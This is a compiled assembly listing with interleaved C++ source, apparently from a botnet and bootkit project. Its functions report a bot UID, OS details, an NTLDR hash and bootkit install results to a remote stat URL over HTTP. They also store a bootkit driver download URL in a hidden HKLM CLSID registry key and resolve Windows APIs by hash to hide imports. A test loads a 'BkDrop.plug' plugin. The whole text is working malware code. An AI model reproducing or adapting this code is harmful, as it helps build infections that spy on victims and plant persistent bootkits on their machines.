?DebugReportStep1@@YAXXZ _TEXT SEGMENT _NtldrMd5Buffer$ = -124 ; size = 100 _BotUid$ = -24 ; size = 8 $T93188 = -16 ; size = 8 _Params$ = -12 ; size = 4 _OsInfo$ = -8 ; size = 4 _URL$ = -4 ; size = 4 _NtldrMd5$ = -4 ; size = 4 ?DebugReportStep1@@YAXXZ PROC ; DebugReportStep1, COMDAT ; 745 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 7c sub esp, 124 ; 0000007cH 00006 53 push ebx 00007 56 push esi ; 746 : CHAR NtldrMd5Buffer[100]; ; 747 : PCHAR OsInfo = NULL; ; 748 : PCHAR NtldrMd5 = NULL; ; 749 : ; 750 : DebugReportSettings* settings = DebugReportGetSettings(); 00008 e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings 0000d 8b f0 mov esi, eax ; 751 : DBGRPTDBG("GetDriverUrl", ; 752 : "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 753 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 754 : ); ; 755 : ; 756 : if (!settings->Enabled) return; 0000f 33 db xor ebx, ebx 00011 38 1e cmp BYTE PTR [esi], bl 00013 0f 84 ea 00 00 00 je $LN3@DebugRepor@12 00019 57 push edi ; 757 : string BotUid = GenerateUidAsString(settings->StatPrefix); 0001a ff 76 04 push DWORD PTR [esi+4] 0001d 8d 4d f0 lea ecx, DWORD PTR $T93188[ebp] 00020 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00025 8d 45 f0 lea eax, DWORD PTR $T93188[ebp] 00028 50 push eax 00029 8d 45 e8 lea eax, DWORD PTR _BotUid$[ebp] 0002c 50 push eax 0002d e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00032 59 pop ecx 00033 59 pop ecx 00034 8d 4d f0 lea ecx, DWORD PTR $T93188[ebp] 00037 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 758 : ; 759 : OsInfo = GetOSInfo(); 0003c e8 00 00 00 00 call ?GetOSInfo@@YAPADXZ ; GetOSInfo 00041 89 45 f8 mov DWORD PTR _OsInfo$[ebp], eax ; 760 : NtldrMd5 = CalcNtldrMd5(NtldrMd5Buffer, sizeof(NtldrMd5Buffer)); 00044 8d 45 84 lea eax, DWORD PTR _NtldrMd5Buffer$[ebp] 00047 6a 64 push 100 ; 00000064H 00049 50 push eax 0004a e8 00 00 00 00 call ?CalcNtldrMd5@@YAPADPADK@Z ; CalcNtldrMd5 0004f 89 45 fc mov DWORD PTR _NtldrMd5$[ebp], eax ; 761 : ; 762 : PStrings Fields = Strings::Create(); 00052 e8 00 00 00 00 call ?Create@Strings@@YAPAXXZ ; Strings::Create ; 763 : AddURLParam(Fields, "cmd", "beforerbt"); 00057 53 push ebx 00058 68 00 00 00 00 push OFFSET ??_C@_09GCOHINED@beforerbt?$AA@ 0005d 8b f8 mov edi, eax 0005f 68 00 00 00 00 push OFFSET ??_C@_03LGLGIONO@cmd?$AA@ 00064 57 push edi 00065 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 764 : AddURLParam(Fields, "uid", BotUid.t_str()); 0006a 8b 45 ec mov eax, DWORD PTR _BotUid$[ebp+4] 0006d 83 c4 18 add esp, 24 ; 00000018H 00070 3b c3 cmp eax, ebx 00072 75 05 jne SHORT $LN10@DebugRepor@12 00074 b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN10@DebugRepor@12: 00079 53 push ebx 0007a 50 push eax 0007b 68 00 00 00 00 push OFFSET ??_C@_03MEMNCOEB@uid?$AA@ 00080 57 push edi 00081 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 765 : AddURLParam(Fields, "os", OsInfo); 00086 53 push ebx 00087 ff 75 f8 push DWORD PTR _OsInfo$[ebp] 0008a 68 00 00 00 00 push OFFSET ??_C@_02EHCHIAMF@os?$AA@ 0008f 57 push edi 00090 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam 00095 83 c4 20 add esp, 32 ; 00000020H ; 766 : ; 767 : if (NtldrMd5 != NULL) 00098 39 5d fc cmp DWORD PTR _NtldrMd5$[ebp], ebx 0009b 74 12 je SHORT $LN1@DebugRepor@12 ; 768 : { ; 769 : AddURLParam(Fields, "cs01", NtldrMd5); 0009d 53 push ebx 0009e ff 75 fc push DWORD PTR _NtldrMd5$[ebp] 000a1 68 00 00 00 00 push OFFSET ??_C@_04HMPDOICP@cs01?$AA@ 000a6 57 push edi 000a7 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam 000ac 83 c4 10 add esp, 16 ; 00000010H $LN1@DebugRepor@12: ; 770 : } ; 771 : ; 772 : PCHAR Params = Strings::GetText(Fields, "&"); 000af 68 00 00 00 00 push OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@ 000b4 57 push edi 000b5 e8 00 00 00 00 call ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText ; 773 : PCHAR URL = STR::New(2, settings->StatUrl, Params); 000ba 50 push eax 000bb ff 76 08 push DWORD PTR [esi+8] 000be 89 45 f4 mov DWORD PTR _Params$[ebp], eax 000c1 6a 02 push 2 000c3 e8 00 00 00 00 call ?New@STR@@YAPADKPADZZ ; STR::New ; 774 : ; 775 : PP_DPRINTF("DebugReportStep1: sending url='%s'", URL); ; 776 : ; 777 : HTTP::Get(URL, NULL, NULL); 000c8 53 push ebx 000c9 53 push ebx 000ca 50 push eax 000cb 89 45 fc mov DWORD PTR _URL$[ebp], eax 000ce e8 00 00 00 00 call ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get ; 778 : ; 779 : STR::Free(URL); 000d3 ff 75 fc push DWORD PTR _URL$[ebp] 000d6 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 780 : STR::Free(Params); 000db ff 75 f4 push DWORD PTR _Params$[ebp] 000de e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 781 : Strings::Free(Fields); 000e3 57 push edi 000e4 e8 00 00 00 00 call ?Free@Strings@@YAXPAX@Z ; Strings::Free ; 782 : MemFree(OsInfo); 000e9 ff 75 f8 push DWORD PTR _OsInfo$[ebp] 000ec e8 00 00 00 00 call ?MemFree@@YAXPAX@Z ; MemFree ; 783 : DebugReportFreeSettings(settings); 000f1 56 push esi 000f2 e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 000f7 83 c4 34 add esp, 52 ; 00000034H ; 784 : } 000fa 8d 4d e8 lea ecx, DWORD PTR _BotUid$[ebp] 000fd e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00102 5f pop edi $LN3@DebugRepor@12: 00103 5e pop esi 00104 5b pop ebx 00105 c9 leave 00106 c3 ret 0 ?DebugReportStep1@@YAXXZ ENDP ; DebugReportStep1 _TEXT ENDS PUBLIC ?DebugReportStep2@@YAXK@Z ; DebugReportStep2 ; Function compile flags: /Ogspy ; COMDAT ?DebugReportStep2@@YAXK@Z _TEXT SEGMENT _value$ = -72 ; size = 50 _BotUid$ = -20 ; size = 8 $T93200 = -12 ; size = 8 _Params$ = -8 ; size = 4 _URL$ = -4 ; size = 4 _BkInstallResult$ = 8 ; size = 4 ?DebugReportStep2@@YAXK@Z PROC ; DebugReportStep2, COMDAT ; 787 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 48 sub esp, 72 ; 00000048H 00006 53 push ebx 00007 56 push esi ; 788 : CHAR value[50]; ; 789 : ; 790 : DebugReportSettings* settings = DebugReportGetSettings(); 00008 e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings 0000d 8b f0 mov esi, eax ; 791 : DBGRPTDBG("GetDriverUrl", ; 792 : "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 793 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 794 : ); ; 795 : ; 796 : if (!settings->Enabled) return; 0000f 33 db xor ebx, ebx 00011 38 1e cmp BYTE PTR [esi], bl 00013 0f 84 df 00 00 00 je $LN2@DebugRepor@13 00019 57 push edi ; 797 : string BotUid = GenerateUidAsString(settings->StatPrefix); 0001a ff 76 04 push DWORD PTR [esi+4] 0001d 8d 4d f4 lea ecx, DWORD PTR $T93200[ebp] 00020 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00025 8d 45 f4 lea eax, DWORD PTR $T93200[ebp] 00028 50 push eax 00029 8d 45 ec lea eax, DWORD PTR _BotUid$[ebp] 0002c 50 push eax 0002d e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00032 59 pop ecx 00033 59 pop ecx 00034 8d 4d f4 lea ecx, DWORD PTR $T93200[ebp] 00037 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 798 : ; 799 : typedef int ( WINAPI *fwsprintfA)( PCHAR lpOut, PCHAR lpFmt, ... ); ; 800 : fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); 0003c 68 d7 f0 3a ea push -365236009 ; ea3af0d7H 00041 6a 03 push 3 00043 53 push ebx 00044 e8 00 00 00 00 call ?GetProcAddressEx@@YAPAXPADKK@Z ; GetProcAddressEx ; 801 : ; 802 : m_memset(value, 0, sizeof(value)); 00049 6a 32 push 50 ; 00000032H 0004b 8b f8 mov edi, eax 0004d 8d 45 b8 lea eax, DWORD PTR _value$[ebp] 00050 53 push ebx 00051 50 push eax 00052 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset ; 803 : ; 804 : _pwsprintfA(value, "%u", BkInstallResult); 00057 ff 75 08 push DWORD PTR _BkInstallResult$[ebp] 0005a 8d 45 b8 lea eax, DWORD PTR _value$[ebp] 0005d 68 00 00 00 00 push OFFSET ??_C@_02GMHACPFF@?$CFu?$AA@ 00062 50 push eax 00063 ff d7 call edi ; 805 : ; 806 : PStrings Fields = Strings::Create(); 00065 e8 00 00 00 00 call ?Create@Strings@@YAPAXXZ ; Strings::Create ; 807 : AddURLParam(Fields, "cmd", "bkinstall"); 0006a 53 push ebx 0006b 68 00 00 00 00 push OFFSET ??_C@_09IJIHGPHM@bkinstall?$AA@ 00070 8b f8 mov edi, eax 00072 68 00 00 00 00 push OFFSET ??_C@_03LGLGIONO@cmd?$AA@ 00077 57 push edi 00078 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 808 : AddURLParam(Fields, "uid", BotUid.t_str()); 0007d 8b 45 f0 mov eax, DWORD PTR _BotUid$[ebp+4] 00080 83 c4 34 add esp, 52 ; 00000034H 00083 3b c3 cmp eax, ebx 00085 75 05 jne SHORT $LN9@DebugRepor@13 00087 b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN9@DebugRepor@13: 0008c 53 push ebx 0008d 50 push eax 0008e 68 00 00 00 00 push OFFSET ??_C@_03MEMNCOEB@uid?$AA@ 00093 57 push edi 00094 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 809 : AddURLParam(Fields, "val", value); 00099 53 push ebx 0009a 8d 45 b8 lea eax, DWORD PTR _value$[ebp] 0009d 50 push eax 0009e 68 00 00 00 00 push OFFSET ??_C@_03BALCFKBP@val?$AA@ 000a3 57 push edi 000a4 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 810 : ; 811 : PCHAR Params = Strings::GetText(Fields, "&"); 000a9 68 00 00 00 00 push OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@ 000ae 57 push edi 000af e8 00 00 00 00 call ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText ; 812 : PCHAR URL = STR::New(2, settings->StatUrl, Params); 000b4 50 push eax 000b5 ff 76 08 push DWORD PTR [esi+8] 000b8 89 45 f8 mov DWORD PTR _Params$[ebp], eax 000bb 6a 02 push 2 000bd e8 00 00 00 00 call ?New@STR@@YAPADKPADZZ ; STR::New ; 813 : ; 814 : PP_DPRINTF("DebugReportStep2: sending url='%s'", URL); ; 815 : ; 816 : HTTP::Get(URL, NULL, NULL); 000c2 53 push ebx 000c3 53 push ebx 000c4 50 push eax 000c5 89 45 fc mov DWORD PTR _URL$[ebp], eax 000c8 e8 00 00 00 00 call ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get 000cd 83 c4 40 add esp, 64 ; 00000040H ; 817 : ; 818 : STR::Free(URL); 000d0 ff 75 fc push DWORD PTR _URL$[ebp] 000d3 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 819 : STR::Free(Params); 000d8 ff 75 f8 push DWORD PTR _Params$[ebp] 000db e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 820 : Strings::Free(Fields); 000e0 57 push edi 000e1 e8 00 00 00 00 call ?Free@Strings@@YAXPAX@Z ; Strings::Free ; 821 : DebugReportFreeSettings(settings); 000e6 56 push esi 000e7 e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 000ec 83 c4 10 add esp, 16 ; 00000010H ; 822 : } 000ef 8d 4d ec lea ecx, DWORD PTR _BotUid$[ebp] 000f2 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000f7 5f pop edi $LN2@DebugRepor@13: 000f8 5e pop esi 000f9 5b pop ebx 000fa c9 leave 000fb c3 ret 0 ?DebugReportStep2@@YAXK@Z ENDP ; DebugReportStep2 _TEXT ENDS PUBLIC ??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@ ; `string' PUBLIC ??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@ ; `string' PUBLIC ?DebugReportSaveUrlForBootkitDriver@@YA_NXZ ; DebugReportSaveUrlForBootkitDriver ; COMDAT ??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@ DB 'I', 00H, 'D', 00H, 00H, 00H ; `string' CONST ENDS ; COMDAT ??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@ CONST SEGMENT ??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@ DB 'S' DB 00H, 'O', 00H, 'F', 00H, 'T', 00H, 'W', 00H, 'A', 00H, 'R', 00H DB 'E', 00H, '\', 00H, 'C', 00H, 'l', 00H, 'a', 00H, 's', 00H, 's' DB 00H, 'e', 00H, 's', 00H, '\', 00H, 'C', 00H, 'L', 00H, 'S', 00H DB 'I', 00H, 'D', 00H, '\', 00H, '{', 00H, '8', 00H, 'C', 00H, 'B' DB 00H, '0', 00H, 'A', 00H, '4', 00H, '1', 00H, '3', 00H, '-', 00H DB '0', 00H, '5', 00H, '8', 00H, '5', 00H, '-', 00H, '4', 00H, '8' DB 00H, '8', 00H, '6', 00H, '-', 00H, 'B', 00H, '1', 00H, '1', 00H DB '0', 00H, '-', 00H, '0', 00H, '0', 00H, '4', 00H, 'B', 00H, '3' DB 00H, 'B', 00H, 'C', 00H, 'A', 00H, 'A', 00H, '9', 00H, 'A', 00H DB '8', 00H, '}', 00H, 00H, 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportSaveUrlForBootkitDriver@@YA_NXZ _TEXT SEGMENT _url$ = -632 ; size = 500 _key_path$ = -132 ; size = 124 _opt$ = -8 ; size = 4 _key$ = -4 ; size = 4 ?DebugReportSaveUrlForBootkitDriver@@YA_NXZ PROC ; DebugReportSaveUrlForBootkitDriver, COMDAT ; 825 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 81 ec 78 02 00 00 sub esp, 632 ; 00000278H 00009 56 push esi 0000a 57 push edi ; 826 : WCHAR key_path[] = L"SOFTWARE\\Classes\\CLSID\\{8CB0A413-0585-4886-B110-004B3BCAA9A8}"; 0000b 6a 1f push 31 ; 0000001fH 0000d 59 pop ecx 0000e be 00 00 00 00 mov esi, OFFSET ??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@ 00013 8d bd 7c ff ff ff lea edi, DWORD PTR _key_path$[ebp] 00019 f3 a5 rep movsd ; 827 : CHAR url[500]; ; 828 : DWORD url_length = 0; ; 829 : HKEY key; ; 830 : DWORD opt = 0; ; 831 : ; 832 : if (!GetDriverUrl(url, sizeof(url))) return false; 0001b 8d 85 88 fd ff ff lea eax, DWORD PTR _url$[ebp] 00021 68 f4 01 00 00 push 500 ; 000001f4H 00026 33 f6 xor esi, esi 00028 50 push eax 00029 89 75 f8 mov DWORD PTR _opt$[ebp], esi 0002c e8 00 00 00 00 call ?GetDriverUrl@@YA_NPADK@Z ; GetDriverUrl 00031 59 pop ecx 00032 59 pop ecx 00033 84 c0 test al, al 00035 75 04 jne SHORT $LN3@DebugRepor@14 $LN14@DebugRepor@14: 00037 32 c0 xor al, al 00039 eb 6e jmp SHORT $LN4@DebugRepor@14 $LN3@DebugRepor@14: ; 833 : ; 834 : DWORD key_created = (DWORD)pRegCreateKeyExW(HKEY_LOCAL_MACHINE, key_path, 0, NULL, 0, KEY_WRITE, NULL, &key, &opt); 0003b 68 ed 00 00 00 push 237 ; 000000edH 00040 68 f0 97 a0 90 push -1868523536 ; 90a097f0H 00045 6a 02 push 2 00047 56 push esi 00048 e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 0004d 83 c4 10 add esp, 16 ; 00000010H 00050 8d 4d f8 lea ecx, DWORD PTR _opt$[ebp] 00053 51 push ecx 00054 8d 4d fc lea ecx, DWORD PTR _key$[ebp] 00057 51 push ecx 00058 56 push esi 00059 68 06 00 02 00 push 131078 ; 00020006H 0005e 56 push esi 0005f 56 push esi 00060 56 push esi 00061 8d 8d 7c ff ff ff lea ecx, DWORD PTR _key_path$[ebp] 00067 51 push ecx 00068 68 02 00 00 80 push -2147483646 ; 80000002H 0006d ff d0 call eax ; 835 : DBGRPTDBG("DebugReportSaveUrlForBootkitDriver", "RegCreateKeyExW return 0x%X", key_created); ; 836 : if (key_created != ERROR_SUCCESS) return false; 0006f 85 c0 test eax, eax 00071 75 c4 jne SHORT $LN14@DebugRepor@14 ; 837 : ; 838 : // Сохраняем на всякий пожарный с 0 в конце ; 839 : DWORD url_value_set = (DWORD)pRegSetValueExW(key, L"ID", 0, REG_BINARY, (const BYTE*)&url[0], ; 840 : (DWORD)plstrlenA(url)); 00073 8d 85 88 fd ff ff lea eax, DWORD PTR _url$[ebp] 00079 50 push eax 0007a e8 00 00 00 00 call ??$pushargEx@$00$0CNEALIOG@$0IC@PAD@@YAPAXPAD@Z ; pushargEx<1,759216358,130,char *> 0007f 50 push eax 00080 8d 85 88 fd ff ff lea eax, DWORD PTR _url$[ebp] 00086 50 push eax 00087 6a 03 push 3 00089 56 push esi 0008a 68 00 00 00 00 push OFFSET ??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@ 0008f ff 75 fc push DWORD PTR _key$[ebp] 00092 e8 00 00 00 00 call ??$pushargEx@$01$0DOEAAPMA@$0NM@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z ; pushargEx<2,1044385728,220,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long> 00097 83 c4 1c add esp, 28 ; 0000001cH ; 841 : DBGRPTDBG("DebugReportSaveUrlForBootkitDriver", "RegSetValueExW return 0x%X", url_value_set); ; 842 : if (url_value_set != ERROR_SUCCESS) return false; 0009a 85 c0 test eax, eax 0009c 75 99 jne SHORT $LN14@DebugRepor@14 ; 843 : ; 844 : DBGRPTDBG("DebugReportSaveUrlForBootkitDriver", "Url key set (url=%s).", url); ; 845 : ; 846 : pRegCloseKey(key); 0009e ff 75 fc push DWORD PTR _key$[ebp] 000a1 e8 00 00 00 00 call ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,216,HKEY__ *> 000a6 59 pop ecx ; 847 : return true; 000a7 b0 01 mov al, 1 $LN4@DebugRepor@14: 000a9 5f pop edi 000aa 5e pop esi ; 848 : } 000ab c9 leave 000ac c3 ret 0 ?DebugReportSaveUrlForBootkitDriver@@YA_NXZ ENDP ; DebugReportSaveUrlForBootkitDriver ; Function compile flags: /Ogspy _TEXT ENDS ; COMDAT ??_G?$TString@D@@UAEPAXI@Z _TEXT SEGMENT ___flags$ = 8 ; size = 4 ??_G?$TString@D@@UAEPAXI@Z PROC ; TString::`scalar deleting destructor', COMDAT ; _this$ = ecx 00000 56 push esi 00001 8b f1 mov esi, ecx 00003 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00008 f6 44 24 08 01 test BYTE PTR ___flags$[esp], 1 0000d 74 07 je SHORT $LN1@scalar@2 0000f 56 push esi 00010 e8 00 00 00 00 call ??3TBotObject@@SAXPAX@Z ; TBotObject::operator delete 00015 59 pop ecx $LN1@scalar@2: 00016 8b c6 mov eax, esi 00018 5e pop esi 00019 c2 04 00 ret 4 ??_G?$TString@D@@UAEPAXI@Z ENDP ; TString::`scalar deleting destructor' _TEXT ENDS PUBLIC ?DebugReportInit@@YAXXZ ; DebugReportInit EXTRN ?StartThread@@YGPAXPAX0@Z:PROC ; StartThread ; Function compile flags: /Ogspy ; COMDAT ?DebugReportInit@@YAXXZ _TEXT SEGMENT ?DebugReportInit@@YAXXZ PROC ; DebugReportInit, COMDAT ; 43 : DBGRPTDBG("DebugReportInit", "Start initialize debug reporting (DbgRptSettings=0x%X).", ; 44 : DbgRptSettings); ; 45 : ; 46 : pInitializeCriticalSection(&DbgRptCs); 00000 68 00 00 00 00 push OFFSET _DbgRptCs 00005 e8 00 00 00 00 call ??$pushargEx@$00$0NKIBLMFI@$0IP@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,3665935448,143,_RTL_CRITICAL_SECTION *> 0000a 59 pop ecx ; 47 : ; 48 : DbgRptSettingDefault.Enabled = false; ; 49 : DbgRptSettingDefault.StatPrefix = ""; 0000b b8 00 00 00 00 mov eax, OFFSET ??_C@_00CNPNBAHC@?$AA@ ; 50 : DbgRptSettingDefault.StatUrl = ""; ; 51 : ; 52 : DbgRptSettings = &DbgRptSettingDefault; ; 53 : ; 54 : // Запускам процесс чтения настроек из реестра ; 55 : // Необходимо для применения в процессах, которые не выполняют команд (explorer, winlogon и тд) ; 56 : StartThread(DebugReportUpdateSettingsThread, NULL); 00010 6a 00 push 0 00012 68 00 00 00 00 push OFFSET ?DebugReportUpdateSettingsThread@@YAXPAX@Z ; DebugReportUpdateSettingsThread 00017 c6 05 00 00 00 00 00 mov BYTE PTR _DbgRptSettingDefault, 0 0001e a3 04 00 00 00 mov DWORD PTR _DbgRptSettingDefault+4, eax 00023 a3 08 00 00 00 mov DWORD PTR _DbgRptSettingDefault+8, eax 00028 c7 05 00 00 00 00 00 00 00 00 mov DWORD PTR _DbgRptSettings, OFFSET _DbgRptSettingDefault 00032 e8 00 00 00 00 call ?StartThread@@YGPAXPAX0@Z ; StartThread ; 57 : } 00037 c3 ret 0 ?DebugReportInit@@YAXXZ ENDP ; DebugReportInit _TEXT ENDS PUBLIC ??_C@_08HDFPIGCN@100_trtr?$AA@ ; `string' PUBLIC ??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@ ; `string' PUBLIC ??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@ ; `string' PUBLIC ??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@ ; `string' PUBLIC ?DebugReportRunTests@@YAXXZ ; DebugReportRunTests ; COMDAT ??_C@_08HDFPIGCN@100_trtr?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_08HDFPIGCN@100_trtr?$AA@ DB '100_trtr', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@ CONST SEGMENT ??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@ DB 'BkDrop.plug', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@ CONST SEGMENT ??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@ DB 'BkDrop.pl' DB 'ug bktestt http://test.orh/gettes/tetst.php', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@ CONST SEGMENT ??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@ DB 'param1 param2 param3', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportRunTests@@YAXXZ _TEXT SEGMENT _params$ = -8 ; size = 8 ?DebugReportRunTests@@YAXXZ PROC ; DebugReportRunTests, COMDAT ; 318 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 51 push ecx 00004 51 push ecx 00005 56 push esi ; 319 : DebugReportInit(); 00006 e8 00 00 00 00 call ?DebugReportInit@@YAXXZ ; DebugReportInit ; 320 : ; 321 : // Загрузить список параметров ; 322 : DebugReportLoadSettings(); 0000b e8 00 00 00 00 call ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings ; 323 : ; 324 : // Сохранить список параметров ; 325 : DebugReportSaveSettings("param1 param2 param3"); 00010 68 00 00 00 00 push OFFSET ??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@ 00015 e8 00 00 00 00 call ?DebugReportSaveSettings@@YAXPBD@Z ; DebugReportSaveSettings 0001a 59 pop ecx ; 326 : ; 327 : const char* params[] = ; 328 : { ; 329 : "BkDrop.plug bktestt http://test.orh/gettes/tetst.php", 0001b c7 45 f8 00 00 00 00 mov DWORD PTR _params$[ebp], OFFSET ??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@ ; 330 : "BkDrop.plug" ; 331 : }; 00022 c7 45 fc 00 00 00 00 mov DWORD PTR _params$[ebp+4], OFFSET ??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@ ; 332 : ; 333 : for (DWORD i = 0; i < ARRAYSIZE(params); i++) 00029 33 f6 xor esi, esi $LL3@DebugRepor@15: ; 334 : { ; 335 : // Сохранить список параметров ; 336 : DebugReportSaveSettings(params[i]); 0002b ff 74 b5 f8 push DWORD PTR _params$[ebp+esi*4] 0002f e8 00 00 00 00 call ?DebugReportSaveSettings@@YAXPBD@Z ; DebugReportSaveSettings ; 337 : ; 338 : // Получить настройки ; 339 : DebugReportSettings* settings = DebugReportGetSettings(); 00034 e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings ; 340 : ; 341 : DBGRPTDBG("DebugReportTest", ; 342 : "Settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 343 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 344 : ); ; 345 : ; 346 : DebugReportFreeSettings(settings); 00039 50 push eax 0003a e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings ; 347 : ; 348 : DBGRPTDBG("DebugReportTest","---------"); ; 349 : DebugReportStepByName("100_trtr"); 0003f 68 00 00 00 00 push OFFSET ??_C@_08HDFPIGCN@100_trtr?$AA@ 00044 e8 00 00 00 00 call ?DebugReportStepByName@@YAXPBD@Z ; DebugReportStepByName ; 350 : ; 351 : DBGRPTDBG("DebugReportTest","---------"); ; 352 : DebugReportSystem(); 00049 e8 00 00 00 00 call ?DebugReportSystem@@YAXXZ ; DebugReportSystem ; 353 : ; 354 : 